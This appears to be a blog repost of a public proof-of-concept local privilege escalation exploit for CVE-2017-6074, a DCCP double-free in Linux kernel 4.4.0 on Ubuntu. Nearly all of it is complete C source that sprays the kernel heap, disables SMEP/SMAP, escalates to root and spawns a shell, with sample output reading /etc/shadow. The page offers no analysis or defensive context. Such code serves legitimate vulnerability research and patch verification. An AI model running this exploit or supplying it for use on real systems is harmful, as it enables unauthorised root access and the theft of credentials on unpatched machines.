Linux Kernel 4.4.0 (Ubuntu) ( Local & Pirivlege Escalation )
Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Escalation
// EDB Note: More information ~ http://seclists.org/oss-sec/2017/q1/471
//
// A proof-of-concept local root exploit for CVE-2017-6074.
// Includes a semireliable SMAP/SMEP bypass.
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
//
// Usage:
// $ gcc poc.c -o pwn
// $ ./pwn
// [.] namespace sandbox setup successfully
// [.] disabling SMEP & SMAP
// [.] scheduling 0xffffffff81064550(0x406e0)
// [.] waiting for the timer to execute
// [.] done
// [.] SMEP & SMAP should be off now
// [.] getting root
// [.] executing 0x402043
// [.] done
// [.] should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// [!] don't kill the exploit binary, the kernel will crash
// # cat /etc/shadow
// ...
// daemon:*:17149:0:99999:7:::
// bin:*:17149:0:99999:7:::
// sys:*:17149:0:99999:7:::
// sync:*:17149:0:99999:7:::
// games:*:17149:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <netinet/if_ether.h>
#define SMEP_SMAP_BYPASS 1
// Needed for local root.
#define COMMIT_CREDS 0xffffffff810a2840L
#define PREPARE_KERNEL_CRED 0xffffffff810a2c30L
#define SHINFO_OFFSET 1728
// Needed for SMEP_SMAP_BYPASS.
#define NATIVE_WRITE_CR4 0xffffffff81064550ul
#define CR4_DESIRED_VALUE 0x406e0ul
#define TIMER_OFFSET (728 + 48 + 104)
#define KMALLOC_PAD 128
#define KMALLOC_WARM 32
#define CATCH_FIRST 6
#define CATCH_AGAIN 16
#define CATCH_AGAIN_SMALL 64
// Port is incremented on each use.
static
int
port = 11000;
void
debug(
const
char
*msg) {
/*
char buffer[32];
snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg\n", msg);
system(buffer);
*/
}
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
struct
ubuf_info {
uint64_t callback;
// void (*callback)(struct ubuf_info *, bool)
uint64_t ctx;
// void *
uint64_t desc;
// unsigned long
};
struct
skb_shared_info {
uint8_t nr_frags;
// unsigned char
uint8_t tx_flags;
// __u8
uint16_t gso_size;
// unsigned short
uint16_t gso_segs;
// unsigned short
uint16_t gso_type;
// unsigned short
uint64_t frag_list;
// struct sk_buff *
uint64_t hwtstamps;
// struct skb_shared_hwtstamps
uint32_t tskey;
// u32
uint32_t ip6_frag_id;
// __be32
uint32_t dataref;
// atomic_t
uint64_t destructor_arg;
// void *
uint8_t frags[16][17];
// skb_frag_t frags[MAX_SKB_FRAGS];
};
struct
ubuf_info ui;
void
init_skb_buffer(
char
* buffer,
void
*func) {
memset
(&buffer[0], 0, 2048);
struct
skb_shared_info *ssi = (
struct
skb_shared_info *)&buffer[SHINFO_OFFSET];
ssi->tx_flags = 0xff;
ssi->destructor_arg = (uint64_t)&ui;
ssi->nr_frags = 0;
ssi->frag_list = 0;
ui.callback = (unsigned
long
)func;
}
struct
timer_list {
void
*next;
void
*prev;
unsigned
long
expires;
void
(*function)(unsigned
long
);
unsigned
long
data;
unsigned
int
flags;
int
slack;
};
void
init_timer_buffer(
char
* buffer,
void
*func, unsigned
long
arg) {
memset
(&buffer[0], 0, 2048);
struct
timer_list* timer = (
struct
timer_list *)&buffer[TIMER_OFFSET];
timer->next = 0;
timer->prev = 0;
timer->expires = 4294943360;
timer->function = func;
timer->data = arg;
timer->flags = 1;
timer->slack = -1;
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
struct
dccp_handle {
struct
sockaddr_in6 sa;
int
s1;
int
s2;
};
void
dccp_init(
struct
dccp_handle *handle,
int
port) {
handle->sa.sin6_family = AF_INET6;
handle->sa.sin6_port = htons(port);
inet_pton(AF_INET6,
"::1"
, &handle->sa.sin6_addr);
handle->sa.sin6_flowinfo = 0;
handle->sa.sin6_scope_id = 0;
handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
if
(handle->s1 == -1) {
perror
(
"socket(SOCK_DCCP)"
);
exit
(EXIT_FAILURE);
}
int
rv = bind(handle->s1, &handle->sa,
sizeof
(handle->sa));
if
(rv != 0) {
perror
(
"bind()"
);
exit
(EXIT_FAILURE);
}
rv = listen(handle->s1, 0x9);
if
(rv != 0) {
perror
(
"listen()"
);
exit
(EXIT_FAILURE);
}
int
optval = 8;
rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO,
&optval,
sizeof
(optval));
if
(rv != 0) {
perror
(
"setsockopt(IPV6_RECVPKTINFO)"
);
exit
(EXIT_FAILURE);
}
handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
if
(handle->s1 == -1) {
perror
(
"socket(SOCK_DCCP)"
);
exit
(EXIT_FAILURE);
}
}
void
dccp_kmalloc_kfree(
struct
dccp_handle *handle) {
int
rv = connect(handle->s2, &handle->sa,
sizeof
(handle->sa));
if
(rv != 0) {
perror
(
"connect(SOCK_DCCP)"
);
exit
(EXIT_FAILURE);
}
}
void
dccp_kfree_again(
struct
dccp_handle *handle) {
int
rv = shutdown(handle->s1, SHUT_RDWR);
if
(rv != 0) {
perror
(
"shutdown(SOCK_DCCP)"
);
exit
(EXIT_FAILURE);
}
}
void
dccp_destroy(
struct
dccp_handle *handle) {
close(handle->s1);
close(handle->s2);
}
// * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * *
struct
udp_fifo_handle {
int
fds[2];
};
void
udp_fifo_init(
struct
udp_fifo_handle* handle) {
int
rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds);
if
(rv != 0) {
perror
(
"socketpair()"
);
exit
(EXIT_FAILURE);
}
}
void
udp_fifo_destroy(
struct
udp_fifo_handle* handle) {
close(handle->fds[0]);
close(handle->fds[1]);
}
void
udp_fifo_kmalloc(
struct
udp_fifo_handle* handle,
char
*buffer) {
int
rv = send(handle->fds[0], buffer, 1536, 0);
if
(rv != 1536) {
perror
(
"send()"
);
exit
(EXIT_FAILURE);
}
}
void
udp_fifo_kmalloc_small(
struct
udp_fifo_handle* handle) {
char
buffer[128];
int
rv = send(handle->fds[0], &buffer[0], 128, 0);
if
(rv != 128) {
perror
(
"send()"
);
exit
(EXIT_FAILURE);
}
}
void
udp_fifo_kfree(
struct
udp_fifo_handle* handle) {
char
buffer[2048];
int
rv = recv(handle->fds[1], &buffer[0], 1536, 0);
if
(rv != 1536) {
perror
(
"recv()"
);
exit
(EXIT_FAILURE);
}
}
int
timer_kmalloc() {
int
s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if
(s == -1) {
perror
(
"socket(SOCK_DGRAM)"
);
exit
(EXIT_FAILURE);
}
return
s;
}
#define CONF_RING_FRAMES 1
void
timer_schedule(
int
handle,
int
timeout) {
int
optval = TPACKET_V3;
int
rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION,
&optval,
sizeof
(optval));
if
(rv != 0) {
perror
(
"setsockopt(PACKET_VERSION)"
);
exit
(EXIT_FAILURE);
}
struct
tpacket_req3 tp;
memset
(&tp, 0,
sizeof
(tp));
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
tp.tp_block_nr = 1;
tp.tp_frame_size = getpagesize();
tp.tp_frame_nr = CONF_RING_FRAMES;
tp.tp_retire_blk_tov = timeout;
rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING,
(
void
*)&tp,
sizeof
(tp));
if
(rv != 0) {
perror
(
"setsockopt(PACKET_RX_RING)"
);
exit
(EXIT_FAILURE);
}
}
void
socket_sendmmsg(
int
sock,
char
*buffer) {
struct
mmsghdr msg[1];
msg[0].msg_hdr.msg_iovlen = 0;
// Buffer to kmalloc.
msg[0].msg_hdr.msg_control = &buffer[0];
msg[0].msg_hdr.msg_controllen = 2048;
// Make sendmmsg exit easy with EINVAL.
msg[0].msg_hdr.msg_name =
"root"
;
msg[0].msg_hdr.msg_namelen = 1;
int
rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);
if
(rv == -1 &&
errno
!= EINVAL) {
perror
(
"[-] sendmmsg()"
);
exit
(EXIT_FAILURE);
}
}
void
sendmmsg_kmalloc_kfree(
int
port,
char
*buffer) {
int
sock[2];
int
rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);
if
(rv != 0) {
perror
(
"socketpair()"
);
exit
(EXIT_FAILURE);
}
socket_sendmmsg(sock[0], buffer);
close(sock[0]);
}
// * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * *
void
dccp_connect_pad(
struct
dccp_handle *handle,
int
port) {
handle->sa.sin6_family = AF_INET6;
handle->sa.sin6_port = htons(port);
inet_pton(AF_INET6,
"::1"
, &handle->sa.sin6_addr);
handle->sa.sin6_flowinfo = 0;
handle->sa.sin6_scope_id = 0;
handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
if
(handle->s1 == -1) {
perror
(
"socket(SOCK_DCCP)"
);
exit
(EXIT_FAILURE);
}
int
rv = bind(handle->s1, &handle->sa,
sizeof
(handle->sa));
if
(rv != 0) {
perror
(
"bind()"
);
exit
(EXIT_FAILURE);
}
rv = listen(handle->s1, 0x9);
if
(rv != 0) {
perror
(
"listen()"
);
exit
(EXIT_FAILURE);
}
handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
if
(handle->s1 == -1) {
perror
(
"socket(SOCK_DCCP)"
);
exit
(EXIT_FAILURE);
}
rv = connect(handle->s2, &handle->sa,
sizeof
(handle->sa));
if
(rv != 0) {
perror
(
"connect(SOCK_DCCP)"
);
exit
(EXIT_FAILURE);
}
}
void
dccp_kmalloc_pad() {
int
i;
struct
dccp_handle handle;
for
(i = 0; i < 4; i++) {
dccp_connect_pad(&handle, port++);
}
}
void
timer_kmalloc_pad() {
int
i;
for
(i = 0; i < 4; i++) {
socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
}
}
void
udp_kmalloc_pad() {
int
i, j;
char
dummy[2048];
struct
udp_fifo_handle uh[16];
for
(i = 0; i < KMALLOC_PAD / 16; i++) {
udp_fifo_init(&uh[i]);
for
(j = 0; j < 16; j++)
udp_fifo_kmalloc(&uh[i], &dummy[0]);
}
}
void
kmalloc_pad() {
debug(
"dccp kmalloc pad"
);
dccp_kmalloc_pad();
debug(
"timer kmalloc pad"
);
timer_kmalloc_pad();
debug(
"udp kmalloc pad"
);
udp_kmalloc_pad();
}
void
udp_kmalloc_warm() {
int
i, j;
char
dummy[2048];
struct
udp_fifo_handle uh[16];
for
(i = 0; i < KMALLOC_WARM / 16; i++) {
udp_fifo_init(&uh[i]);
for
(j = 0; j < 16; j++)
udp_fifo_kmalloc(&uh[i], &dummy[0]);
}
for
(i = 0; i < KMALLOC_WARM / 16; i++) {
for
(j = 0; j < 16; j++)
udp_fifo_kfree(&uh[i]);
}
}
void
kmalloc_warm() {
udp_kmalloc_warm();
}
// * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * *
// Executes func(arg) from interrupt context multiple times.
void
kernel_exec_irq(
void
*func, unsigned
long
arg) {
int
i;
struct
dccp_handle dh;
struct
udp_fifo_handle uh1, uh2, uh3, uh4;
char
dummy[2048];
char
buffer[2048];
printf
(
"[.] scheduling %p(%p)\n"
, func, (
void
*)arg);
memset
(&dummy[0], 0xc3, 2048);
init_timer_buffer(&buffer[0], func, arg);
udp_fifo_init(&uh1);
udp_fifo_init(&uh2);
udp_fifo_init(&uh3);
udp_fifo_init(&uh4);
debug(
"kmalloc pad"
);
kmalloc_pad();
debug(
"kmalloc warm"
);
kmalloc_warm();
debug(
"dccp init"
);
dccp_init(&dh, port++);
debug(
"dccp kmalloc kfree"
);
dccp_kmalloc_kfree(&dh);
debug(
"catch 1"
);
for
(i = 0; i < CATCH_FIRST; i++)
udp_fifo_kmalloc(&uh1, &dummy[0]);
debug(
"dccp kfree again"
);
dccp_kfree_again(&dh);
debug(
"catch 2"
);
for
(i = 0; i < CATCH_FIRST; i++)
udp_fifo_kmalloc(&uh2, &dummy[0]);
int
timers[CATCH_FIRST];
debug(
"catch 1 -> timer"
);
for
(i = 0; i < CATCH_FIRST; i++) {
udp_fifo_kfree(&uh1);
timers[i] = timer_kmalloc();
}
debug(
"catch 1 small"
);
for
(i = 0; i < CATCH_AGAIN_SMALL; i++)
udp_fifo_kmalloc_small(&uh4);
debug(
"schedule timers"
);
for
(i = 0; i < CATCH_FIRST; i++)
timer_schedule(timers[i], 500);
debug(
"catch 2 -> overwrite timers"
);
for
(i = 0; i < CATCH_FIRST; i++) {
udp_fifo_kfree(&uh2);
udp_fifo_kmalloc(&uh3, &buffer[0]);
}
debug(
"catch 2 small"
);
for
(i = 0; i < CATCH_AGAIN_SMALL; i++)
udp_fifo_kmalloc_small(&uh4);
printf
(
"[.] waiting for the timer to execute\n"
);
debug(
"wait"
);
sleep(1);
printf
(
"[.] done\n"
);
}
void
disable_smep_smap() {
printf
(
"[.] disabling SMEP & SMAP\n"
);
kernel_exec_irq((
void
*)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE);
printf
(
"[.] SMEP & SMAP should be off now\n"
);
}
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * *
// Executes func() from process context.
void
kernel_exec(
void
*func) {
int
i;
struct
dccp_handle dh;
struct
udp_fifo_handle uh1, uh2, uh3;
char
dummy[2048];
char
buffer[2048];
printf
(
"[.] executing %p\n"
, func);
memset
(&dummy[0], 0, 2048);
init_skb_buffer(&buffer[0], func);
udp_fifo_init(&uh1);
udp_fifo_init(&uh2);
udp_fifo_init(&uh3);
debug(
"kmalloc pad"
);
kmalloc_pad();
debug(
"kmalloc warm"
);
kmalloc_warm();
debug(
"dccp init"
);
dccp_init(&dh, port++);
debug(
"dccp kmalloc kfree"
);
dccp_kmalloc_kfree(&dh);
debug(
"catch 1"
);
for
(i = 0; i < CATCH_FIRST; i++)
udp_fifo_kmalloc(&uh1, &dummy[0]);
debug(
"dccp kfree again:"
);
dccp_kfree_again(&dh);
debug(
"catch 2"
);
for
(i = 0; i < CATCH_FIRST; i++)
udp_fifo_kmalloc(&uh2, &dummy[0]);
debug(
"catch 1 -> overwrite"
);
for
(i = 0; i < CATCH_FIRST; i++) {
udp_fifo_kfree(&uh1);
sendmmsg_kmalloc_kfree(port++, &buffer[0]);
}
debug(
"catch 2 -> free & trigger"
);
for
(i = 0; i < CATCH_FIRST; i++)
udp_fifo_kfree(&uh2);
debug(
"catch 1 & 2"
);
for
(i = 0; i < CATCH_AGAIN; i++)
udp_fifo_kmalloc(&uh3, &dummy[0]);
printf
(
"[.] done\n"
);
}
typedef
int
__attribute__((regparm(3))) (* _commit_creds)(unsigned
long
cred);
typedef
unsigned
long
__attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned
long
cred);
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
void
get_root_payload(
void
) {
commit_creds(prepare_kernel_cred(0));
}
void
get_root() {
printf
(
"[.] getting root\n"
);
kernel_exec(&get_root_payload);
printf
(
"[.] should be root now\n"
);
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
void
exec_shell() {
char
*shell =
"/bin/bash"
;
char
*args[] = {shell,
"-i"
, NULL};
execve(shell, args, NULL);
}
void
fork_shell() {
pid_t rv;
rv = fork();
if
(rv == -1) {
perror
(
"fork()"
);
exit
(EXIT_FAILURE);
}
if
(rv == 0) {
exec_shell();
}
}
bool
is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int
fd = open(
"/etc/shadow"
, O_RDONLY);
if
(fd == -1)
return
false
;
close(fd);
return
true
;
}
void
check_root() {
printf
(
"[.] checking if we got root\n"
);
if
(!is_root()) {
printf
(
"[-] something went wrong =(\n"
);
printf
(
"[!] don't kill the exploit binary, the kernel will crash\n"
);
return
;
}
printf
(
"[+] got r00t ^_^\n"
);
printf
(
"[!] don't kill the exploit binary, the kernel will crash\n"
);
// Fork and exec instead of just doing the exec to avoid freeing
// skbuffs and prevent crashes due to a allocator corruption.
fork_shell();
}
static
bool
write_file(
const
char
* file,
const
char
* what, ...)
{
char
buf[1024];
va_list
args;
va_start
(args, what);
vsnprintf(buf,
sizeof
(buf), what, args);
va_end
(args);
buf[
sizeof
(buf) - 1] = 0;
int
len =
strlen
(buf);
int
fd = open(file, O_WRONLY | O_CLOEXEC);
if
(fd == -1)
return
false
;
if
(write(fd, buf, len) != len) {
close(fd);
return
false
;
}
close(fd);
return
true
;
}
void
setup_sandbox() {
int
real_uid = getuid();
int
real_gid = getgid();
if
(unshare(CLONE_NEWUSER) != 0) {
perror
(
"unshare(CLONE_NEWUSER)"
);
exit
(EXIT_FAILURE);
}
if
(unshare(CLONE_NEWNET) != 0) {
perror
(
"unshare(CLONE_NEWUSER)"
);
exit
(EXIT_FAILURE);
}
if
(!write_file(
"/proc/self/setgroups"
,
"deny"
)) {
perror
(
"write_file(/proc/self/set_groups)"
);
exit
(EXIT_FAILURE);
}
if
(!write_file(
"/proc/self/uid_map"
,
"0 %d 1\n"
, real_uid)){
perror
(
"write_file(/proc/self/uid_map)"
);
exit
(EXIT_FAILURE);
}
if
(!write_file(
"/proc/self/gid_map"
,
"0 %d 1\n"
, real_gid)) {
perror
(
"write_file(/proc/self/gid_map)"
);
exit
(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if
(sched_setaffinity(0,
sizeof
(my_set), &my_set) != 0) {
perror
(
"sched_setaffinity()"
);
exit
(EXIT_FAILURE);
}
if
(
system
(
"/sbin/ifconfig lo up"
) != 0) {
perror
(
"system(/sbin/ifconfig lo up)"
);
exit
(EXIT_FAILURE);
}
printf
(
"[.] namespace sandbox setup successfully\n"
);
}
int
main() {
setup_sandbox();
#if SMEP_SMAP_BYPASS
disable_smep_smap();
#endif
get_root();
check_root();
while
(
true
) {
sleep(100);
}
return
0;
}
Linux Kernel 4.4.0 (Ubuntu) ( Local & Pirivlege Escalation )
Reviewed by Unknown
on
12:26 PM
Rating:
No comments: